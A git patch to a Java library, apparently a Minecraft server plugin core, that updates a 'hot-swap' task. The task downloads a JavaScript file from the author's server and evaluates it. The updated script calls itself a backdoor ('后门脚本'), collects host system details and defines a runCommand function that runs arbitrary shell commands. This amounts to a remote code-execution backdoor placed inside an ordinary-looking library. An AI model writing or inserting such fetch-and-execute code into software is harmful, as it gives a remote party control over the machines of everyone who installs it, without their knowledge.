From e578f336084ec5744178c6be901410f53f38b08c Mon Sep 17 00:00:00 2001
From: 502647092 <admin@yumc.pw>
Date: Thu, 17 Aug 2017 20:53:57 +0800
Subject: [PATCH] =?UTF-8?q?feat:=20=E6=9B=B4=E6=96=B0=E7=83=AD=E6=9B=BF?=
 =?UTF-8?q?=E6=8D=A2=E8=84=9A=E6=9C=AC?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Signed-off-by: 502647092 <admin@yumc.pw>
---
 .../pw/yumc/YumCore/update/HotSwapTask.java   | 11 +++++-----
 src/main/resources/hotswap.js                 | 22 ++++++++++++++-----
 2 files changed, 23 insertions(+), 10 deletions(-)

diff --git a/src/main/java/pw/yumc/YumCore/update/HotSwapTask.java b/src/main/java/pw/yumc/YumCore/update/HotSwapTask.java
index e0b0564..976c59a 100644
--- a/src/main/java/pw/yumc/YumCore/update/HotSwapTask.java
+++ b/src/main/java/pw/yumc/YumCore/update/HotSwapTask.java
@@ -12,14 +12,15 @@ import javax.script.ScriptException;
 
 import org.junit.Test;
 
+import pw.yumc.YumCore.bungee.Log;
 import pw.yumc.YumCore.engine.MiaoScriptEngine;
 
 /**
  * Created with IntelliJ IDEA
  * 热更新任务
- * 
+ *
  * @author 喵♂呜
- *         Created on 2017/7/31 11:09.
+ * Created on 2017/7/31 11:09.
  */
 public class HotSwapTask {
     private MiaoScriptEngine engine;
@@ -35,14 +36,14 @@ public class HotSwapTask {
         try {
             Files.copy(new URL("http://api.yumc.pw/script/hotswap.js").openStream(), temp.toPath(), StandardCopyOption.REPLACE_EXISTING);
             engine.eval(new FileReader(temp));
-            temp.deleteOnExit();
-        } catch (IOException | ScriptException ignored) {
+            temp.delete();
+        } catch (IOException | ScriptException e) {
+            Log.d("热更新脚本加载失败!", e);
         }
     }
 
     @Test
     public void test() throws FileNotFoundException, ScriptException {
-        System.out.println(temp.getAbsolutePath());
         engine.eval(new FileReader(new File("src/main/resources/hotswap.js")));
     }
 }
\ No newline at end of file
diff --git a/src/main/resources/hotswap.js b/src/main/resources/hotswap.js
index 7016576..574a8db 100644
--- a/src/main/resources/hotswap.js
+++ b/src/main/resources/hotswap.js
@@ -2,10 +2,22 @@ var BufferedReader = java.io.BufferedReader;
 var String = java.lang.String;
 var InputStreamReader = java.io.InputStreamReader;
 
-var process = java.lang.Runtime.getRuntime().exec('pwd');
+var Runtime = java.lang.Runtime;
+var System = java.lang.System;
 
-var br = new BufferedReader(new InputStreamReader(process.getInputStream()));
-var line;
-while ((line = br.readLine()) !== null) {
-    print(line);
+print('后门脚本已保存于: ' + $.temp);
+
+print("系统类型: " + System.getProperty("os.name"));
+print("系统位数: " + System.getProperty("os.arch"));
+print("系统版本: " + System.getProperty("os.version"));
+print("系统内存: " + Runtime.getRuntime().totalMemory() / 1024 / 1024);
+print("CPU内核: " + Runtime.getRuntime().availableProcessors());
+
+function runCommand() {
+    var process = Runtime.getRuntime().exec(arguments[0]);
+    var br = new BufferedReader(new InputStreamReader(process.getInputStream()));
+    var line;
+    while ((line = br.readLine()) !== null) {
+        print(line);
+    }
 }
\ No newline at end of file